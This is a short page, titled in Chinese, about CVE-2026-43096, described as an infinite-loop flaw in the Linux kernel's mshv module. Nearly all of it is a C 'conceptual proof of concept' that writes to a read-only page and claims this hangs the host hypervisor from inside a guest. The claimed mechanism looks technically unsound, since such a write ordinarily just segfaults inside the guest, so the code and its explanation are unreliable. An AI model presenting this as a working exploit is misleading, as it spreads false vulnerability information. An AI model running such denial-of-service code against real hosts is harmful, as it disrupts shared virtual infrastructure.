CVE-2026-43096: Linux内核mshv模块无限循环漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> // Conceptual Proof of Concept for CVE-2026-43096 // This code attempts to write to a read-only memory region // which may trigger the infinite fault loop in the host mshv module // if running inside a guest VM. int main() { printf("[+] Triggering PoC for CVE-2026-43096\n"); // Allocate a memory page with Read-Only permissions size_t page_size = getpagesize(); char *ro_page = mmap(NULL, page_size, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (ro_page == MAP_FAILED) { perror("mmap failed"); return 1; } printf("[+] Allocated Read-Only page at %p\n", ro_page); // Attempt to write to the Read-Only page // In a vulnerable mshv setup, this triggers the fault loop printf("[+] Attempting to write to Read-Only page...\n"); // This line causes a SIGSEGV in normal user space, // but inside a VM with the mshv bug, it triggers the hypervisor issue. strcpy(ro_page, "CRASH"); printf("[-] Write failed or execution continued unexpectedly.\n"); return 0; }